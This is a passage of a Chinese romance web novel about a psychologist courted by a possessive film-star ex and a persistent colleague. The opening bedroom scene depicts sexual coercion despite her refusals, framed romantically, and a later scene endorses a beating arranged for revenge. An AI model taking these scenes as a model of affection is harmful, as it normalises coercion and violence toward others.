林今世的手臂放松了些，脸依旧牢牢的贴着她，他的唇凑过来，虚虚蹭到她的脖颈，下一秒便将她的耳垂连同耳环一起含进了嘴里。 鞠言一颤，偏开脸。 林今世的手穿进吊带裙，慢慢抚摸着她柔腻的后背与腰际。 他有些情难自禁，鞠言感觉到了。 但即使因为忍得很难受，林今世也没打算放开她。 “比比……”他轻轻唤了她一声，声音与眼睛里都有欲望之火在燃烧。 鞠言被杵的难受，她将下半身往前挪了挪，不挨着他，淡声道：“你去卫生间解决了，我不走。” 林今世没有说话，只微微摇了摇头，鼻尖摩蹭得她一阵酥痒。 隔了一会儿，林今世的声音从她脖侧传来：“我难受……” 都是成年人，鞠言懂他的话外之意，她立刻拒绝： “不可能。” “……”林今世静了几秒，忽地在她肩膀上咬了一口，手也不安分起来。 “你干什么？！”鞠言惊慌。 林今世不理她，脸往柔软处埋，鞠言极力推住不让。 林今世停下，在黑暗中看着她道：“你选。” 知道他不是开玩笑，鞠言咬了下唇，低声道： “我恨你。” “……我知道。” 窗帘紧闭着，寂静的卧室内飘荡着林今世轻微的喘息声，他把手握在她的手上，凑脸过来想吻她。 鞠言别开脸。 “……”林今世抬起一只手扳回她的脸。 鞠言的耳尖隐隐发烫，狠狠在他的指上咬了一口。 林今世轻轻嘶了一声，她刚刚松口的一瞬间，他的唇便贴了上来。 …… 鞠言倾身去拿床头柜上的纸巾，林今世搂住她，垂眼吮吻着她扭侧着的白脖颈。 鞠言既不想让他吻她，更不想让他在自己身上留下痕迹，奈何推不开。 林今世将她的长发拨到另一侧，一点点从她白皙的肩背亲吻下去，吻到腰际时，他的动作停住，眼神迷朦： “要我帮你吗？” 鞠言脸一热：“不要。” “……”林今世的动作意犹未尽地停了下来。 鞠言推开他，扯过被子盖住了自己的身体。正想换睡衣，林今世却掀开了被子，她刚脱了一半，慌忙又穿了回去。 “……”林今世侧身躺下，手臂环过来抱住她。 鞠言试着挣脱，林今世反而搂得更紧了，知道再挣扎下去只会是白费力气，她只能由着他了。 鞠言不再挣扎，暗自希望林今世不要再做其他出格的事情，她从他的怀抱中伸出一只手，重新将被子盖回身上，语气冷淡地问： “你可以睡觉了吗？” “还不想睡。”林今世脸埋到鞠言的颈窝上，轻轻用唇磨蹭着她的皮肤。 他的一只手顺着她的小腹慢慢滑了下去，鞠言被他摸的一激灵，忙抓住他的手腕。 “你要是再乱动，我现在就报警！” “……”林今世默然片刻，松开了鞠言，他爬起来，叉开长腿跪在床上，毫无征兆地扯下了自己的衬衫，一颗纽扣在黑暗中蹦落到了地上。 林今世赤着半身，淡墨色的夜光朦胧地浴在他诱人的□□上，他低声道：“你真的一点儿都不想要我吗？” 鞠言的目光在他的身上一触即收，不能不承认，在男性魅力方面，不管哪一项，林今世都接近满分。 而且他最近为了拍一部武侠电影，在专业教练的指导下训练了好几个月，体格还比从前英武了不少。 只是看了还不到一秒钟，鞠言的身体就有些烫了起来，她咬紧唇将欲望压制下去，违心道：“不想。” 鞠言背过身，拉起被子盖住头：“我明天还要上班，别再烦我了。” “……” 空气静悄悄的，片刻后，鞠言感觉到林今世重新在身旁躺下了，他的手搂住她的腰，声音自她耳后传来： “朝我。” 鞠言微微蹙眉，淡讽道：“我想怎么睡觉你也要管吗？” 林今世没有再说话。 鞠言闭上眼睛，正打算酝酿睡意，男人有力的手忽然扳住她的肩膀强行翻了过来，鞠言忙想挣扎，但林今世不给她一丝机会，用双臂将她紧搂在自己的怀里，鞠言的脸被迫贴在了他裸露的胸口上。 鞠言挣不出来，狠狠咬了他一口，林今世轻轻嘶了一声，没有要放开的意思，鞠言莫名觉得他似乎有点享受她咬他的这一口。 “……” 鞠言的脸热起来，她的力气远不如林今世，上嘴咬也没用，鞠言无可奈何，只能让他搂着自己。 现在是初秋，清津的夜晚很有几分凉意。林今世的身体很热，鞠言虽然不想和他睡在一起，但暖热的被窝与他身上那股好闻的味道很快催生出了困意将她裹挟。 她陷入了梦境，长长睫毛不时轻扫着林今世的胸口，他被惹得毫无睡意，又不想吵醒她，只能垂眸静静地凝望着她的睡颜- 林今世今天还要到另一个城市参加活动，天还没亮就轻手轻脚地起来了，替鞠言盖好被子，他望着她的睡颜看了一会儿，才压着脚步走出卧室。 等鞠言醒过来，他已经洗漱完了。 鞠言用被子掩住身体，将衣服穿严实后才离开床到卫生间去洗漱。 从林今世身旁经过，她只当看不见他这个人。 鞠言慢吞吞地刷牙洗脸，拖了好一会儿，才从卫生间出来，林今世背对着她，用修长的手指将衬衫最后一粒纽扣扣上，他不回头道： “我想过了，我不会放手的，就算你恨我。” 鞠言咬紧了唇：“……” 林今世知道她不会回答他，扣好衣服戴上口罩后，便顾自走到玄关处换鞋。 他打开门出去，身子忽然一僵。 察觉到林今世反应不对，鞠言趿着拖鞋走到门旁看了一眼——她的房门上不知什么时候被人泼了一大片红油漆。 鞠言微怔，在下一刻便意识到这很有可能是周旭的报复。 她立刻点进了安装在手机上的监控设备，监控内容中，两个看起来才十六七岁的小混混在昨夜凌晨三点时，鬼鬼祟祟的来到她所租住的房子外，将一大桶红色油漆泼到了她的屋门上。 红色的油漆像是大片的血迹，显然是在警告她不要多管闲事。 林今世一言不发地盯着看，脸色冷得吓人，他偏眸看向鞠言： “视频拷贝给我。” “和你没关系，我自己会处理。”鞠言淡定地打了个电话向主任请了假，而后打电话报了警。 以林今世的社会地位和出身，要收拾周旭轻而易举，但她不想欠他任何。 鞠言折身回到屋内去换衣服，今天并不冷，穿高领衫太过显眼，鞠言在镜子前犹豫了好一阵，还是选择脱了下来，取下一件薄衬衫换上。她从化妆包中拿出粉底液，用粉底刷蘸了些涂在脖子上遮盖吻痕。 附近辖区的警察没一会儿便到了现场，因为监控清晰拍下了嫌疑人的面貌，两个作案的小混混很快就被抓到了。 在警局内，林今世全程没有说一句话，只是靠在墙上，眼光冷冷地打量着他们，看得那两个小混混都有些慌了。 两个小混混起初并不肯供出幕后的人，警察调查了他们手机里的聊天记录，不出鞠言的所料，背后的人果然是周旭。 面对警方的传唤周旭并不肯出现，鞠言不打算在警局等 他白白浪费时间，决定先回医院去上班。 鞠言跟办案的民警说了一声，而后走出了警局。林今世抬步同她一起走了出去。 他用钥匙解开车锁。 鞠言淡声道：“不用了，我自己打车过去。” “这事没商量。”林今世一手打开副驾的车门。 鞠言知道以林今世的偏执，自己的拒绝只是徒劳，便没有再白费力气。 她坐上了车，系好安全带后第一时间打电话给陈叶。 “喂，鞠医生。”陈叶慵哑的声音透过听筒传出来。 “上午好，小叶。最近过的怎么样？”鞠言笑着问。她的声音平淡而温柔，仿佛今天上午什么事都没有发生过。 林今世：“……” 陈叶笑道：“我挺好的，谢谢关心，你最近怎么样？” 陈叶的语气听起来不像是在撒谎，鞠言放下心，她简单跟陈叶聊了几句，而后挂断电话。 林今世偏眸看了她一眼： “是为了帮你的患者？” 鞠言轻轻“嗯”了声。 “怎么不跟我说？”林今世低声道。 “这是我自己的事。” 林今世咬了下牙，竭力控制自己不吼起来：“你要是出什么事了怎么办？” 她受伤的情况，即便是想象他也不敢。 鞠言的确没想到周旭会这么的难缠，但因为对林今世还是有气，仍是嘴硬道：“那也不关你的事。 “……” 林今世的手机又响了起来，似乎是他要参加的节目快开始了，三十分钟的车程，他的手机来电就没停过，林今世微微蹙眉，趁着红灯，拿过手机开了静音。 手机亮起来的时候，鞠言无意间瞥见了林今世的手机壁纸，还是她小时候那张戴着“柚子帽”的照片，但是小女孩的身旁多了一个年纪相仿的漂亮小男孩。 鞠言不禁有些恍惚，这张“合照”是热恋时期林今世特意请人做的，由他们两个的童年照经过裁剪后拼在一起，制作者技艺高超，完全看不出拼合的痕迹，两个孩子看起来就是在同一场景下摄下了这张照片。 鞠言想起林今世从前给她看这张合照时说过的话，他过去的声音在她耳畔响起，她记得当时，林今世望着她的眼睛，一个字一个字认真地说： “这个小男孩以后会喜欢上这个小女孩。很喜欢很喜欢。” 平淡而真挚的语气，像是在陈述一个永远不会改变的事实。 几秒后，屏幕自动熄灭了，两个孩子的脸庞一同隐没在黑暗中。 鞠言的睫毛轻轻颤了下，将脸偏向靠窗的一侧。 到了森北医院门口，库里南停下，鞠言解开安全带，平淡道：“谢谢。” “啧……” 因为林今世身份的特殊性，鞠言不想惹麻烦，一打开车门，她便以最快的速度下了车。 在六楼的考勤机前打完卡，鞠言提着包包来到自己的咨询室，已经十点多了，她抓紧时间开始工作。 一场咨询结束时间就已到了中午。 鞠言没有去和穆晓菲他们一块吃饭，拜托乔楠替她带了一份贝果和咖啡凑合。 她一个人待在办公室，一边吃午餐，一边打开手机浏览了一眼娱乐软件。 不出她所料，林今世耍大牌热搜果然冲在热搜第一。 “……” 手机页面有电话跳了出来，鞠言接起，是负责她的案件的民警打来的。 民警告诉鞠言，周旭目前人在国外，由于他犯的也不是刑事案件，国内没有权限对他进行强制传唤，只能警告他尽快回国。 “小姑娘，最近这段时间你要注意安全，条件允许的话尽量搬去和家人或朋友一起住，有任何问题随时都可以给我打电话。” 鞠言说了声“谢谢。”挂断了电话。 她放下手机，思索这段时间该怎么办。 周旭出国的时间太过凑巧，想必是刻意为之，虽然警方已经传唤了他，但周旭一时半会儿应该是不会回国的。 鞠言是一个人住，她的地址已经被周旭知道了，估计还会有下一次报复，为了安全起见，她思来想去还是打算搬家，以免再次发生这种情况。 李景显轻叩了两声门，鞠言想得出神，并没有听见，他犹豫了一下，推开门走进来。 鞠言双手扶额，直直的长发往前坠，脖颈半掩在发丝后，隐隐的粉红一晃既逝。 李景显神色一顿。 忽然感到有手轻轻撩起了自己耳后的头发，鞠言一怔，条件反射地抬手轻扶在脖颈左侧。 李景显不知道什么时候进来的，此刻正站在她的身旁。 鞠言不看他，神色自若：“蚊子咬的……” 身旁迟迟没有传来李景显的声音，隔了好半晌，他才轻声道：“拿我当傻瓜？” 鞠言不知道该说什么，捂着脖颈的手一直没有放下。 李景显伸手过来牵她的手腕，想将她的手移开，鞠言微微往后躲开了。 “……”李景显的手悬停在了半空中。 “是谁？”他的嗓音低抑。 鞠言答非所问：“我的来访者快到了。” “……”李景显没有要走的样子，他走近一些，把一只手撑在她的书桌上，俯下身来和她面对面。 “是林今世吗？” 鞠言略偏开脸：“我不想谈这个。” 李景显修长的手指捏住了她的下巴，轻轻将她的脸转回来，鞠言的眼睛对上了他的眼睛。 李景显高眉骨，眉睫浓黑，一双眼睛风流至极。然而此时他眼中的神色却是款款深情，不带一丝假意： “那谈谈我们两个的事情，可以吗？” 隔壁办公室忽然传来一声尖叫声。 鞠言推开他的手，起身朝外走，逃离这尴尬到快要凝固了的空间。 在过道上与同样出来查看的杨欣碰上，鞠言推开穆晓菲办公室的门： “怎么了？” “比比！”穆晓菲仰起震惊与悲伤交织的脸望着她：“林今世，林今世他！”她的情绪激动异常，连话都说不清楚。 “……”鞠言垂下了睫，轻轻拍着穆晓菲的背。 她大概能猜到是怎么回事了。 她以为他至少会遮一下。 李景显跟在鞠言身后走进来，看了眼穆晓菲的情况，他挑眉微笑道：“你怎么了，也失恋了吗？” 鞠言垂下眼：“……” 穆晓菲不理李景显，哭唧唧地将自己的手机屏幕朝向鞠言，热搜榜第一的新闻：【林今世肩部牙印，爆！】 鞠言的脸飞上了一抹绯红，她不知道该说什么话安慰穆晓菲，心里有些后悔昨天咬的那一口。 李景显同样看到了屏幕，鞠言听到他的鼻息似乎重了一分。 杨欣搂住穆晓菲的肩膀，俯下身安慰她：“男明星其实没几个不谈恋爱的，更何况林今世这种级别的帅哥，其实挺正常的……” “可我还是难受。”穆晓菲撅着嘴，眼泪忍不住下淌着：“林今世跟合作的女明星一向都很冷淡的，怎么会……这也太突然了！” 李景显看了默默安慰着穆晓菲的鞠言一眼，鞠言没有回视他，很明显，他已经猜到林今世身上的痕迹是谁留下的了。 他的手机在响，李景显一边接起电话，一边走了出去。 鞠言莫名地感觉松了一口气。 杨欣的咨询快开始了便先离开了。穆晓菲虽然已经不哭了，但还是闷闷不乐的，鞠言一个人安慰了穆晓菲一会儿，看她情绪好点了才带上门出去。 鞠言一面走，一面打开手机看了一眼热搜榜，页面显示加载中，她起初还以为是自己的网络出了问题，切了医院的无线还是显示不出来，她这才想到应该是服务器出问题了。 也是，以林今世现在爆火的程度，这样忽然地曝出一条花边新闻，不瘫痪才奇怪…… 鞠言微微叹了口气，心烦意乱地将手机熄了屏，一抬眼却对上了李景显的目光，他一手抄兜，正靠在走廊的墙上打电话，静静望向她的目光 略带哀意，全然不似往日那般潇洒闲适。 “……”鞠言垂眸，避开他的视线，推开自己咨询室虚合着的门走了进去。 坐回椅子上，鞠言往指尖抹了几滴清凉油，抬手摁着自己的额角，努力清空自己脑海中乱七八糟的思绪，把注意力集中到来访者资料上。 …… 下午的最后一场咨询结束后，鞠言有些放心不下穆晓菲，她收拾好东西，在下班之前又去了一趟她的办公室。 才刚走出咨询室，林今世这个名字就从四面八方飘进了她的耳朵，下了班的同事，等候就诊的患者几乎都在讨论他。 从她们的谈话内容中，鞠言知道了牙印事件的后续，粉丝坚称那一道牙印是林今世一直养到现在的小猫咪馄饨不小心咬伤的，但除了粉丝以外，并没有人相信。 “……”鞠言垂下眼，莫名觉得自己有些对不起馄饨。 她推开穆晓菲办公室的门进去，穆晓菲颓着脸伏在办公桌上，杨书荣单手叉腰，正站在她身旁喋喋不休的做着“开导”工作。 听见开门声，穆晓菲微微抬头朝这边看了一眼。 “比比。”她无精打采地喊了她一声。 “还没好点吗？”鞠言走到她身旁。 一提起来，穆晓菲的眼眶里立刻蓄了泪。 “……”鞠言忙抽了两张纸递给她，正想出言安慰，一旁的杨书荣已抢先开口，他语重心长地说道： “娱乐圈这么乱哪会有干净的，都只是表相罢了，所有你没必要伤心，还是要务实，多关注现实中发生的事情。” “谁说的，林今世从来没有一点绯闻的！”穆晓菲仰起脸辩解道。 杨书荣鼻子里“哼”了一声，不以为意：“不是我说，你们女孩子也太好骗了，那都是装出来的表象，看他这张脸就知道是个很会玩的。” 穆晓菲柳眉倒竖，刚想反驳，身旁已经有人先开口了，鞠言问道：“杨老师，您很了解他吗？” 她的语气很平淡，并没有攻击性。 杨书荣嘴巴往下撇了撇：“要不是晓菲天天在大家耳朵边念叨，我都没听说过这号人。” 鞠言的语气猝不及防的转冷：“不了解的话，就算是医生，也没有任何资格随便揣测别人。” 穆晓菲生气地附和：“就是！” 杨书荣半笑半恼：“小言总是变着法和我作对。” “还不是因为你老是乱说话！”穆晓菲的情绪有些激动。 杨书荣失了面子不快极了：“你们这些小姑娘真是越来越没礼貌了！”说罢，生气地走出了穆晓菲的办公室，连门都没有关。 鞠言走过去将门重新关上。 “本来心情就不好！他还要来给我添堵！”穆晓菲重新伏到了桌上。她抬起眼看鞠言，眼神可怜兮兮的： “比比，你觉得那个人会是谁啊？” 鞠言垂下眼：“不知道……我平时不太关注娱乐圈。” 穆晓菲的眼睛又渗出了眼泪：“林今世看起来谁都不喜欢啊，怎么会这样！” 见她又哭了，鞠言忙道：“可能，可能真的是猫咪不小心咬伤的吧……” 她在心里默默对馄饨说了声抱歉。 “怎么可能嘛！”穆晓菲哭得更伤心了，“白痴才会相信是猫弄的！” 鞠言：“……”- 晚高峰的地铁依旧拥挤，在肩挨着肩的人群中，鞠言戴着耳机，背倚在车壁上出神。 一直以来，她都明白其实自己还喜欢着林今世，同时她也还在恨着他，可当今天杨书荣在说林今世坏话时，她竟然会下意识地卫护他。 还是在林今世昨天像个疯子一样的情况下…… 鞠言闭上眼，对自己感到不争气。 从地铁口步行到小区门口，已经七点半了，一想到还要收拾门上被泼着的红油漆，鞠言便有些心烦，她从电梯出门，正想从包里拿钥匙开门，视线忽然一顿。 户门干干净净的，泼在上面的红油漆已经荡然无存，连地面上都没有一点痕迹。 鞠言微怔，反应过来应该是林今世找人处理干净的。 她从兜里拿出手机想跟他说声谢谢，可林今世的联系方式她都已经删除拉黑了。 在森北和派出所奔波了一天，鞠言只觉得自己全身都沾满了看不见的细菌，回到家一放下包，便拿上衣服去浴室洗澡。 鞠言擦着半干的长发走出浴室，她看了一眼搁在书桌上充电的手机，除了几条朋友发过来的微信以外，还有一条是一条陌生号码发过来的短信： 【不用搬家，他不会再来骚扰你了。】 “……” 从说话的语气就能认出这个号码的主人是谁。 看着短信的内容，鞠言微怔，问道：【你把他怎么了？】 林今世回复过来：【打了一顿而已。】 “……” 以鞠言对林今世的了解，这句简短的“打了一顿而已”应该只是很长一段内容的缩写。 鞠言的指尖在屏幕上轻点几下：【谢谢。】 他回复过来：【把门锁好。】 鞠言在回复与无视两者间纠结了片刻，想着他刚刚帮了自己，直接无视不好，便回复了一个：【嗯。】字过去。 林今世：【晚安。】 “……”鞠言将手机熄屏，没有再回复- 节目已经拍摄结束了，Aman酒店的窗外夜景璀璨。 林今世穿着浴袍坐在大幅落地窗旁的沙发上，点开刚收到的视频看了一眼。 昏暗的光线中，一个年轻男人正抱着自己的一条腿蜷在冰冷的地面上，极度的疼痛使得他发出来的声音更像是食草类动物临死前发出的哀鸣。 “……”林今世漠然退出了视频。 …… 他发过去的【晚安】她没有再回复，林今世垂睫看着鞠言回复过来的几条简短的讯息，抬起手轻抚着肩膀上她留下的压痕，回想起昨夜她的牙尖刺破他肌肤的那一刻的疼痛，他的鼻息逐渐重了一分。 林今世点进和鞠言的微信聊天框，翻出一条她过去发给他的语音。 听着她清甜的嗓音，他闭上眼睛，回想着她过往时的模样，伸手下去撩开了袍襟的一角。 第63章 再见到陈叶是在两个月后的下午,她的气色好多了，人也胖了一点儿。 陈叶的心情很好，她告诉鞠言,周旭遭天遣了，他不知道得罪了谁,才几个月，家里的公司就被对方搞破产了,周旭现在成了老赖，只能靠女朋友张希养着。 鞠言怔了怔，即使她早已知道林今世动手收拾了周旭,但事情的最终结果还是在她的预料之外。 这一次咨询，陈叶并没有再说起曾经的事，反而是跟她讲了许多最近发生的小事以及自己新发展的兴趣爱好。 陈叶加入了一个溜冰俱乐部,每天下班后有空便会去溜一会儿。 鞠言安静地听着，她知道，这是她们最后一次见面了。 咨询时间到了,陈叶站起身，临到门口她停下了脚步,回过头望着鞠言道： “鞠医生,我会永远记得你的。” 鞠言笑了，跟以往一样的温柔。 “我也是。” 陈叶微微扬唇：“那,再见。” 鞠言的眼眶有些发酸,她强忍着没让情绪表露出来，依旧用温和得像是拥抱的语气道：“再见。” 望着陈叶远去的背影，鞠言的眼眶中忍不住泛出了温热的泪水，顺颊而下。 陈叶。希望 从今天起，你永远都好,虽然你的短发也很好看，可我更想在未来的有一天再次看见你红色的长发。 乔楠推门进来收拾咨询室，鞠言连忙垂下脸假装看手机，悄悄拭去眼泪。 乔楠没有注意到鞠言的情绪，她把陈叶喝过的杯子丢进垃圾桶，一面收拾着，一面和鞠言闲聊。 乔楠很喜欢李景显，和她聊天的内容十句有九句是和李景显相关的。 鞠言只是简单地回应她几句，并不多说什么，自从上回明白了李景显的心思之后，她总有些避着他，也本能地回避和他有关的话题。 但李景显仍像没感觉到似的，一有空就来她的办公室找她讲话，若无其事到都让鞠言有点怀疑上次在他眼中看到的情感流露只是自己的错觉。 今天的咨询排的多，鞠言到家已经晚上九点了，她简单冲了个澡，便戴上耳机，倒在床上放松自己的情绪。 身体太过疲惫，在音乐声中鞠言朦朦胧胧睡了过去，似乎一眨眼的功夫，她就听到了闹钟的响声。 鞠言迷糊地睁开眼睛，抬手摘下戴了一夜的耳机，她摸过搁在床头充电的手机看了眼时间，6:50分，微信显示有许多条未读消息。 大学的四个室友在零点时一起在群里给她发了生日祝福。 鞠言弯唇，回复了【谢谢。】以及一个可爱的表情包。 她简单洗漱完换了身衣服便出了门，在地铁上，鞠言打开手机，打算把还没有看的几条微信祝福一一回复。 除了几个同事的微信之外，还有一条是叶珊的微信： 【生日快乐，虽然你的生日就是妈妈的受难日，但妈妈还是衷心希望你能开开心心，今年回家过年好吗？】 鞠言最不喜欢的就是这句话，想到大一的那个新年的不愉快，此刻对这句话就更反感了，她微微蹙眉，无视了这条消息。 她点进短信看了眼，几家办了卡的银行也给她发了生日的祝福短信，除此以外没有任何别的消息了，包括昨天那个“陌生号码”。 “……”鞠言盯着看了片刻，将手机揣回了兜里- 鞠言对生日聚餐没什么兴趣，结束了一天的工作后，便打算直接回家。 地铁上人头攒动，知道今天是她的生日后，贺思源一再坚持要请她吃饭，说是感谢鞠言这段时间以来的照顾。 贺思源还在实习期，没多少钱，鞠言不想要他破费，忙道： “只是生日而已，没什么特殊的。” “特殊，”贺思源小声道：“这段时间谢谢你照顾我。” “那请我喝一杯奶茶就可以啦。”鞠言弯起眼睛，“不然我也不好意思。” “……好吧。” 到鞠言下车那一站，地铁减速停稳，她提了提肩上的包带，朝贺思源莞尔一笑，“我到站了，明天见。” 贺思源的眼神有些复杂，但还是回以微笑： “明天见，鞠言姐姐。”- 洗完了澡。鞠言竖起膝盖坐在床上静静地听着音乐，手机传来了一声消息提醒，是鞠然的微信——20:18分准时发过来的，她出生的时间。 【比比，我的妹妹，生日快乐。】底下是一个红包。 “……”鞠言凝望着屏幕，片刻后，熄掉了手机。 与此同时，大门传来了敲门声，鞠言没有直接去开门，而是拿出手机看了眼监控，门外等着两个穿着制服的年轻男人，一个背着背包，另一个手上牵着一只金色的礼宾车，上面搁着的似是鲜花。 要是换作从前，鞠言一定会第一时间确定是林今世，但现在她有些迟疑了，不确定会是林今世还是李景显。 门又响了两声，鞠言回过神，在睡裙外披了件外套，走过去把门打开。 两名五官端正的配送员冲她露出了得体的微笑，其中一个单膝跪地将金色礼宾车上的花抱了起来。 另一个也蹲到地上，放下背包，用戴着白手套的手将里面的高级定制蛋糕小心翼翼地捧了出来。 两人并肩而立，一个把玫瑰推向鞠言，另一个把蛋糕推向鞠言，两道咬字清楚的声音齐声道： “鞠女士生日快乐，这是林先生为您订制的生日蛋糕还有鲜花。” “……” 鞠言垂眼看着——沉甸甸的999朵可爱瓷玫瑰衬在纯白的礼品纸中，散发出浓郁的芬芳，一朵玫瑰便是一朵粉绉裙。 看着她的表情两名配送员有些意外，这份礼物昂贵而用心，光是这一束花价格就在五位数，要是换作别人，一定会幸福的流眼泪，然而这名容貌清丽的女客脸上却毫无波澜。 “需要我们帮您搬进去吗？”其中一个配送员小声询问。 “……辛苦了。”鞠言退到一旁空出位置。 不等两人把蛋糕和鲜花搬进去，电梯升到这一层停了下来，两侧的门缓缓退开，两个戴着鸭舌帽，身着白制服的配送员前后走出电梯，一个捧着蛋糕，另一只怀里抱着一大束清新净蓝的飞燕草。 目光触到另外两个抱着鲜花和蛋糕的配送员，新来的两个脚步顿住。 “……” 四人面面相觑。 他们的制服不同，显然来自不同的门店。 后来的两位白制服配送员对看了一眼，而后对另外两名黑制服配送员道：“你们先吧。” 莫名的，五个人都有些尴尬。 两名黑制服配送员道了声谢，把蛋糕和鲜花捧进了鞠言的房子。 片刻后，他们两个走了出来，朝另外两个配送员点了下头，走到电梯旁按了下按钮。 另外两个配送员也准备好了，两人招呼了一声，而后挺直身板，一个递过花，一个送过蛋糕，异口同声对鞠言道： “鞠医生，李景显先生祝您生日快乐！” 另外两个还在等电梯的配送员扭过脸朝这边瞧着，脸上的神色略显八卦，仿佛是在好奇这两个送花的男人之间的竞争最后的胜者会是谁。 “……”鞠言的脸微微有些红了，她伸手接过飞燕草和蛋糕，低声道了谢。 关上门，鞠言站在原地看着这些完全用不着的礼物，思索着该怎么将花束和蛋糕的钱转给林今世，没毕业前她都是拜托楚源代转给林今世，可现在楚源工作很忙，再去拜托他，鞠言总觉得有些过意不去。 庞大的花束与两个蛋糕衬得她的一室户愈发促狭了，鞠言的目光落在林今世送的玫瑰花上，她忽然发觉花朵间嵌着一只礼盒。 鞠言蹲下身把礼盒取出来打开，里面是一副奢侈品钻圈粉金腕表。 “……” 这副手镯折合成现金，以她的工资就算去借高利贷她怕是也付不出来。 鞠言放弃了转钱的想法，算好花束和蛋糕的价格，她收拾出一个空箱子，将林今世送的礼物小心地搬进去打包好，她在手机下单了速达快递，地址填了华景都城。 鞠言又在网上查询了李景显送她的鲜花和蛋糕的价格，极度不理解为什么一个看上去蛮普通的蛋糕竟然要好几千。 看着手机里好不容易攒起来的数字，鞠言轻轻叹了口气，将钱转给了李景显。 片刻后，李景显扣了个【？】发过来。 系统显示：【转账退还。】 李景显透过听筒传出的声音带着笑意：【比比，你把我当二手贩子了？】 鞠言懒得打字了，也回复了一条语音过去：【我们只是朋友，我不想收你那么贵重的礼物。】 【拜托，】李景显的尾音略微上调：【才只是一束花和蛋糕，根本算不上礼物好嘛。】 “……” 既然李景显不肯收，那还是下次等他生日回送个同样价位的礼物吧。鞠言想了想，回复道：【那好，谢谢你的礼物。】- 鞠言上午忙，直到午餐时间才碰见穆晓菲，她的状态居然比昨天更生无可恋了。 注意到鞠言诧异的表情，穆晓菲有气无力地把手机拿给她和杨欣看。 里面的内容是林今世昨天晚上20:27分在社交软件上发布了一条弹钢琴的视频。 视频没有聚焦他 的脸，只是斜对着黑白键上翩翩跃动的手指。 《MyExistence》美妙的旋律悠然从他修长的手指下沁出。 “林今世他一定是有喜欢的人了。”穆晓菲沮丧地嘟嘴道。 “只是一首曲子而已啊，不代表是弹给某人特别的人啊。”杨欣安慰道。 穆晓菲要哭了：“你听最后！” 杨欣只得认真聆听，钢琴声静静地流淌着，鞠言有些走神，揣里衣兜里的手不自觉地捏了起来。 钢琴声渐渐淡出。 “生日快乐。” 男人低沉而动人的嗓音衔接着最后的余音响起，似是贴耳喁语。 鞠言的睫毛微微颤了一下：“……” 穆晓菲心灰意冷地扑到了桌面上，杨欣无奈地朝鞠言看了眼，又看向穆晓菲，她咧了下嘴角，试图逗她一下：“比比不也是昨天生日吗？万一林今世喜欢的人是比比呢，你说是不是？” 第64章 “要是林今世喜欢的真的是比比,那我还好受一些。”穆晓菲闷声闷气地说道。 鞠言从游离的状态中回过神，忙道：“怎么可能……” 她有些慌，好在穆晓菲和杨欣并没有在意。 上午的咨询快开始了,鞠言回到咨询室，一推门进去,却发觉咨询室内有人等着。 李景显一身黑西装，搭配酒红色领带,他一手抄兜，正风风流流地靠在她的办公桌上。 鞠言稍怔，由于之前的事情,她最近一直有些避着他，称谓也不自觉地换了。 “李总，你怎么来了？” “来给你送东西。”李景显抬起另一只手上勾着的那双香奈儿高跟鞋朝她微微晃了晃。 鞠言叹了口气,无奈道：“你别为难我了。” 李景显露出求怜的表情：“你让让我行不行？” 鞠言当没注意到：“我平时也用不上这么贵重的鞋子。” 李景显惊讶挑眉：“那你是觉得我能穿吗？” 鞠言失笑：“……也可以试试看。” 李景显：“……” 李景显把鞋子放下，他收了轻佻的神色，缓步靠近她：“可是我想看你穿。” 鞠言垂下眼,空气安静了几秒，她认真道：“李总,我不是你女朋友。” “万一会是呢？”李景显低下脸,眼睛追随她的眼睛。 “我的来访快到了……” 鞠言边说边抬手将碎发别到耳后，她紧张时不自觉的动作。 “放心,一来我就走。”李景显把她逼退到了门扉上,鞠言想从一旁出去，李景显却将一只手撑到了她脸侧，随着动作，他身上那股高级香水的味道沁入了她的鼻腔。 “……”鞠言别开脸，以免和他对视。 空气静得像是凝固了。 门扉传来了两下震动,鞠言连忙借机推开身前的李景显，转过身把门打开。 一束蓝色的玫瑰迎到眼前，每天给她送花的女孩冲鞠言露出了一个可掬的笑容： “早上好，您的鲜花。” “谢谢……” 鞠言伸手去接花，还没拿到已被身后探来的男人的手先行接过了。 李景显把那束玫瑰拿在手里，垂睫扫了一眼：“是谁送的？” 花店女孩望着他愣了下：“我们不可以透露客户隐私。” 李景显：“姓林？” 花店女孩：“啊……” 李景显没有要再问的意思，显然已经确定了对方是谁。 李景显有些冒犯她的隐私了，鞠言有些生气，等女孩走了，她认真道： “李总，你有些越界了。” 李景显致了声歉，忽然话锋一转：“不过，他不是也越界了吗？” 鞠言微微蹙眉：“……可以不要提他吗。” “我的错。”李景显道，他没有把花还给鞠言，而是随手丢进了垃圾桶里。 叩门声再次传来，鞠言暗暗松了口气。 “请进。” 乔楠打开门，穿着黑白校服的沈小简跟在她身后。 沈小简害怕高大的男人，看见李景显，慌忙垂下了眼睛往乔楠身后躲了躲。 “……”李景显微微一怔，冲她温柔地笑了一下，“别怕，我不是坏人。” “……”沈小简不敢抬起眼。 李景显双手抄回兜里朝外走去，经过乔楠身旁，礼貌性地微笑朝她点了点头。 咨询结束，鞠言起身到茶水间去续咖啡，她给沈小简提了一个建议，至于是否实行，则看沈小简自己。 鞠言走进茶水间，一眼看见了穆晓菲的背影，她正死气沉沉地站在咖啡机前用马克杯接着咖啡液。 鞠言呆了呆，忙问： “晓菲，你怎么了？” 穆晓菲回过头，目光呆滞地看向鞠言，喃喃道：“林今世疯了。” 鞠言一怔，故作镇定问：“他，又怎么了？” 穆晓菲从她身旁飘了过去，“你自己去搜吧，我不想再回忆了。” 鞠言从兜里拿出手机，不用刻意搜索，有关林今世的最新讯息早就已经在各大软件刷屏了。 因为之前的钢琴视频，在电影发布会结束后，林今世被各大媒体的话筒团团围住，争相询问视频最后的生日快乐是对谁说的，对方是男是女，和他又是什么关系。 “是一个我很重要的人。” 娱乐记者当然不会放过这个可能爆炸的猛料，立刻穷追不舍地问道： “那今世是有谈恋爱的打算吗？” “……”林今世垂睫，若有所思：“只要她想要我，随时都可以。” 虽然林今世并不是爱豆，但一直以来出了名的梦女多，没想到他不仅正面回答了这个问题，还直接承认了。 提问的记者愣了一下，才问道：“今世的意思是对方不喜欢你吗？” 胖胖的经纪人拨开人群挤过来，连被撞歪的眼镜都来不及扶：“请询问和电影有关的事情！” “……” 不到几分钟的采访内容又引得软件瘫痪了一次，鞠言熄掉屏幕，将咖啡杯放到咖啡机下。 短短几天被暴击了三次，怪不得穆晓菲的状态这么差…… 她知道林今世上一次说的并不是玩笑，可也没预料到他会这么不管不顾。 